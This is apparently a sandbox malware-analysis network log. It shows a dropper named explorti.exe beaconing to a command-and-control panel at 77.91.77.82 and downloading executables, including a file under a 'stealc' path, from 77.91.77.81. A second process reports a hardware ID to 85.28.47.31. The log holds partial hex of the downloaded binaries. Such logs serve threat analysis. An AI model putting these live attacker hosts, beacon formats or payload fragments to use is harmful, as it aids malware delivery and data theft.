Jul 24, 2024 02:40:07.576348066 CEST	1236	IN	Data Raw: 1c 3b 42 00 68 4c 3b 42 00 e8 39 0b 00 00 83 c4 0c a3 d4 c9 62 00 6a 13 68 7c 3b 42 00 68 90 3b 42 00 e8 20 0b 00 00 83 c4 0c a3 ec cc 62 00 6a 33 68 a4 3b 42 00 68 d8 3b 42 00 e8 07 0b 00 00 83 c4 0c a3 44 cd 62 00 6a 0b 68 0c 3c 42 00 68 18 3c Data Ascii: ;BhL;B9bjh\|;Bh;B bj3h;Bh;BDbjh<Bh<Bbjh$<Bh4<BbjhD<BhT<Bbjhd<Bhp<B(bjh\|<Bh<Bbjh<Bh<Bqbjh<Bh<BX
Jul 24, 2024 02:40:07.576369047 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:07 GMT Content-Type: application/octet-stream Content-Length: 192000 Last-Modified: Mon, 22 Jul 2024 02:01:04 GMT Connection: keep-alive ETag: "669dbd60-2ee00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b e5 e6 03 f5 b6 e6 03 f5 b6 e6 03 f5 b6 89 75 5e b6 fe 03 f5 b6 89 75 6b b6 eb 03 f5 b6 89 75 5f b6 dc 03 f5 b6 ef 7b 76 b6 e5 03 f5 b6 66 7a f4 b7 e4 03 f5 b6 ef 7b 66 b6 e1 03 f5 b6 e6 03 f4 b6 8d 03 f5 b6 89 75 5a b6 f4 03 f5 b6 89 75 68 b6 e7 03 f5 b6 52 69 63 68 e6 03 f5 b6 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 50 af 9d 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 c8 01 00 00 42 22 00 00 00 00 00 90 64 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 24 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$bu^uku_{vfz{fuZuhRichPELPfB"d@0$@<#\|$.textJ .rdata@@.data+!@.reloc*D#F@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49870	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:07.829430103 CEST	179	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 31 39 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000019031&unit=246122658369
Jul 24, 2024 02:40:08.565160036 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49871	77.91.77.81	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:08.574732065 CEST	54	OUT	GET /stealc/random.exe HTTP/1.1 Host: 77.91.77.81
Jul 24, 2024 02:40:09.272741079 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:09 GMT Content-Type: application/octet-stream Content-Length: 290816 Last-Modified: Wed, 24 Jul 2024 00:35:02 GMT Connection: keep-alive ETag: "66a04c36-47000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 13 47 21 47 57 26 4f 14 57 26 4f 14 57 26 4f 14 38 50 d1 14 44 26 4f 14 38 50 e5 14 33 26 4f 14 38 50 e4 14 48 26 4f 14 5e 5e dc 14 50 26 4f 14 57 26 4e 14 26 26 4f 14 38 50 e0 14 56 26 4f 14 38 50 d5 14 56 26 4f 14 38 50 d2 14 56 26 4f 14 52 69 63 68 57 26 4f 14 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 78 60 8b 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 f6 02 00 00 44 03 02 00 00 00 00 d8 2e 00 00 00 10 00 00 00 10 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 05 02 00 04 00 00 9a fc 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$G!GW&OW&OW&O8PD&O8P3&O8PH&O^^P&OW&N&&O8PV&O8PV&O8PV&ORichW&OPELx`eD.@t<P`@<3@.text `.rdata$68@@.dataP2@.rsrc@`@@
Jul 24, 2024 02:40:09.272773981 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c7 01 e4 32 43 00 e9 e0 0f 00 00 56 8b f1 c7 06 e4 32 43 00 e8 d2 0f 00 00 f6 44 Data Ascii: 2CV2CD$tVY^\CV\CD$tVY^4U$PbCeETbCV3W{EEuXbCE?E\bCEE EE\<
Jul 24, 2024 02:40:09.272806883 CEST	1236	IN	Data Raw: ec 00 00 00 00 8b 45 ec 01 05 e8 36 45 02 46 81 fe bd 74 06 00 7c d8 6a 7b 5e 81 3d 5c 3c 45 02 86 00 00 00 75 2e 53 53 53 53 53 53 53 ff 15 b8 10 43 00 53 53 ff 15 70 10 43 00 53 ff 15 10 10 43 00 53 53 53 53 ff 15 88 10 43 00 53 53 ff 15 64 10 Data Ascii: E6EFt\|j{^=\<Eu.SSSSSSSCSSpCSCSSSSCSSdCNuh2C6EM_^d[V3=\<EWuJVVVVCVVVVVVVVVVCVVeVVVVVVMVV~(3vl}VVCVCVLC
Jul 24, 2024 02:40:09.272840023 CEST	1236	IN	Data Raw: 06 00 00 68 1c 36 43 00 8d 45 f4 50 c7 45 f4 1c 12 43 00 e8 59 15 00 00 cc 8b ff 55 8b ec 56 ff 75 08 8b f1 e8 83 06 00 00 c7 06 1c 12 43 00 8b c6 5e 5d c2 04 00 8b ff 55 8b ec 83 ec 0c 8b 45 08 89 45 08 8d 45 08 50 8d 4d f4 e8 ce 05 00 00 68 58 Data Ascii: h6CEPECYUVuC^]UEEEPMhX6CEPE(CUVu6(C^]UVEtVY^]UVEtVY^]UVEtVY^]UW
Jul 24, 2024 02:40:09.272890091 CEST	1236	IN	Data Raw: c2 04 00 8b ff 55 8b ec 83 ec 28 a1 24 58 43 00 33 c5 89 45 fc 53 56 8b 75 08 57 ff 75 10 8b 7d 0c 8d 4d dc e8 53 ff ff ff 8d 45 dc 50 33 db 53 53 53 53 57 8d 45 d8 50 8d 45 f0 50 e8 9d 25 00 00 89 45 ec 8d 45 f0 56 50 e8 3f 20 00 00 83 c4 28 f6 Data Ascii: U($XC3ESVuWu}MSEP3SSSSWEPEP%EEVP? (Eu+u8]tE`pjX/u8]tE`pjEuEu8]tE`p3M_^3[,UjuuF]UM4CH@]Au<CU}
Jul 24, 2024 02:40:09.272921085 CEST	1236	IN	Data Raw: 44 8e 18 89 44 8f 18 8b 44 8e 14 89 44 8f 14 8b 44 8e 10 89 44 8f 10 8b 44 8e 0c 89 44 8f 0c 8b 44 8e 08 89 44 8f 08 8b 44 8e 04 89 44 8f 04 8d 04 8d 00 00 00 00 03 f0 03 f8 ff 24 95 5c 23 40 00 8b ff 6c 23 40 00 74 23 40 00 84 23 40 00 98 23 40 Data Ascii: DDDDDDDDDDDD$\#@l#@t#@#@#@E^_FGE^_IFGFGE^_FGFGFGE^_U}t-uj5DCuV'HCP'Y^]jh6CI/3}3u;;u
Jul 24, 2024 02:40:09.272954941 CEST	776	IN	Data Raw: d2 f7 f7 39 45 14 76 21 83 fb ff 74 0c 53 6a 00 51 e8 dd 3e 00 00 83 c4 0c 85 f6 74 c1 83 c8 ff 33 d2 f7 f7 39 45 14 77 b5 0f af 7d 14 f7 46 0c 0c 01 00 00 89 7d f0 8b df 74 08 8b 46 18 89 45 f4 eb 07 c7 45 f4 00 10 00 00 85 ff 0f 84 da 00 00 00 Data Ascii: 9Ev!tSjQ>t39Ew}F}tFEEFtDFt=;r;}W6uu=)~>}+)}};]r\}t3;vuu+;w;Ew[PuV(YP<t{
Jul 24, 2024 02:40:09.272984982 CEST	1236	IN	Data Raw: 06 f6 44 32 04 80 74 16 8b d1 3b d0 73 10 8b f0 80 3a 0a 75 01 43 42 3b d6 72 f5 89 5d f4 83 7d fc 00 75 1b 8b c3 e9 d8 00 00 00 84 d2 78 ef e8 86 20 00 00 c7 00 16 00 00 00 e9 87 00 00 00 f6 47 0c 01 0f 84 b4 00 00 00 8b 57 04 85 d2 75 08 21 55 Data Ascii: D2t;s:uCB;r]}ux GWu!U]u+JEED0tyjjuU>;Eu GM8uE@;rG @juu >y89EwOttGED0t
Jul 24, 2024 02:40:09.273056984 CEST	1236	IN	Data Raw: 8d 7f 10 4a 75 ef 83 e1 0f 74 24 8b c1 c1 e9 02 74 0d 8b 16 89 17 8d 76 04 8d 7f 04 49 75 f3 8b c8 83 e1 03 74 09 8a 06 88 07 46 47 49 75 f7 58 5e 5f 5d c3 ba 10 00 00 00 2b d0 2b ca 51 8b c2 8b c8 83 e1 03 74 09 8a 16 88 17 46 47 49 75 f7 c1 e8 Data Ascii: Jut$tvIutFGIuX^_]++QtFGIutvHuYjC[E3-t"ttHt3VWh3FWPY63~~~~PCF+@Ou
Jul 24, 2024 02:40:09.273091078 CEST	1236	IN	Data Raw: 08 44 3b 1d 0f b6 46 01 47 3b f8 76 ea 8b 7d 08 83 c6 02 80 3e 00 75 d0 8b 75 e4 ff 45 e0 83 c6 08 83 7d e0 04 89 75 e4 72 e9 8b c7 89 7b 04 c7 43 08 01 00 00 00 e8 69 fb ff ff 6a 06 89 43 0c 8d 43 10 8d 89 b4 54 43 00 5a 66 8b 31 66 89 30 83 c1 Data Ascii: D;FG;v}>uuE}ur{CijCCTCZf1f0JuL@;v~0C@IuCCSs3{95DTM_^3[jh87CM}_h
Jul 24, 2024 02:40:09.278121948 CEST	1236	IN	Data Raw: 12 8b 47 04 3b c3 74 0b 39 18 75 07 50 e8 2e ea ff ff 59 83 c7 10 ff 4d 08 75 c7 56 e8 1f ea ff ff 59 5f 5e 5b 5d c3 8b ff 55 8b ec 57 8b 7d 0c 85 ff 74 3b 8b 45 08 85 c0 74 34 56 8b 30 3b f7 74 28 57 89 38 e8 6a fd ff ff 59 85 f6 74 1b 56 e8 ee Data Ascii: G;t9uP.YMuVY_^[]UW}t;Et4V0;t(W8jYtV>YuWCtVsY^3_]jhX7COUCFpt"~ltpluj cYbjM>Ye5WClVYYYEEjF=Yuj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49872	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:10.467654943 CEST	179	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 32 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000021001&unit=246122658369
Jul 24, 2024 02:40:11.156172037 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49873	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:11.300605059 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:12.003346920 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:12.004087925 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:12.226443052 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49874	85.28.47.31	80	10656	C:\Users\user\AppData\Local\Temp\1000021001\1a87deddda.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:11.417293072 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
Jul 24, 2024 02:40:12.041596889 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:40:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 24, 2024 02:40:12.044514894 CEST	408	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKKFHCFIECAAAKEGCFI Host: 85.28.47.31 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 35 45 45 30 33 45 36 32 37 39 31 39 32 32 30 36 33 34 39 37 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 49 2d 2d 0d 0a Data Ascii: ------AAKKFHCFIECAAAKEGCFIContent-Disposition: form-data; name="hwid"C5EE03E62791922063497------AAKKFHCFIECAAAKEGCFIContent-Disposition: form-data; name="build"sila------AAKKFHCFIECAAAKEGCFI--
Jul 24, 2024 02:40:12.225372076 CEST	210	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:40:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49875	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:12.348089933 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:13.067027092 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:13.067800999 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:13.296674967 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49877	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:13.403527021 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:14.097332001 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:14.097992897 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:14.315399885 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49879	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:14.422101021 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:15.146254063 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:15.173571110 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:15.397380114 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49881	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:15.513186932 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:16.216788054 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:16.258670092 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:16.480993986 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49882	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:17.623003006 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:18.396966934 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:18.397644043 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
